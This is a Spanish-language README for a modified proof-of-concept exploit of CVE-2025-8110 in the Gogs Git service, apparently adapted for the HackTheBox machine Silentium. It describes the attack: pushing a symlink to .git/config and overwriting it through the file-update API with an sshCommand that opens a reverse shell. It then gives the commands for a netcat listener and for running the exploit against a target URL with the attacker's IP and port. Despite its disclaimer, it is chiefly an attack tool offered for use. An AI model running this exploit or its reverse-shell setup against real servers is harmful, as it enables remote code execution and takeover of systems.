
Explotar el servicio Gogs y obtener el usuario root
Descargo de responsabilidad: Esta herramienta está destinada estrictamente a fines educativos y pruebas de penetración autorizadas. Úsela únicamente contra sistemas para los que tenga permiso explícito.
Esta es una versión modificada de zAbuQasem/gogs-CVE-2025-8110, adaptada para funcionar contra la máquina Silentium en HackTheBox. El PoC original requería ajustes para manejar la configuración específica de Gogs de Silentium y su flujo de autenticación.
CVE-2025-8110 es una vulnerabilidad de Ejecución Remota de Código en Gogs, un servicio Git autoalojado.
El endpoint de la API de actualización de archivos de Gogs (PUT /api/v1/repos/.../contents/<file>) no valida si el archivo destino es un enlace simbólico. Un atacante autenticado puede enviar un enlace simbólico a un repositorio que apunte a .git/config, y luego usar la API para sobrescribirlo con una carga maliciosa. La carga inyecta un sshCommand personalizado en la configuración de git, el cual Gogs ejecuta en el lado del servidor la próxima vez que realice una operación SSH en ese repositorio, resultando en una ejecución remota de código.
malicious_link -> .git/config), y lo sube..git/config malicioso que contiene sshCommand = <reverse shell>..git/config, lo que activa la shell en la siguiente operación SSH.Instalar dependencias:
pip install -r requirements.txt
Iniciar un listener:
nc -lvnp <PORT>
Ejecutar el exploit:
python3 CVE-2025-8110.py -u http://<TARGET_URL> -lh <YOUR_IP> -lp <PORT> -un <USERNAME> -pw <PASSWORD>
Opcional — enrutar a través de Burp Suite:
python3 CVE-2025-8110.py -u http://<TARGET_URL> -lh <YOUR_IP> -lp <PORT> -un <USERNAME> -pw <PASSWORD> -x
| Flag | Descripción |
|---|---|
-u | URL base de Gogs |
-lh | Tu IP de atacante (host de la reverse shell) |
-lp | Tu puerto de listener |
-un | Tu nombre de usuario registrado en Gogs |
-pw | Tu contraseña de Gogs |
-x | (Opcional) Enrutar el tráfico a través de Burp en localhost:8080 |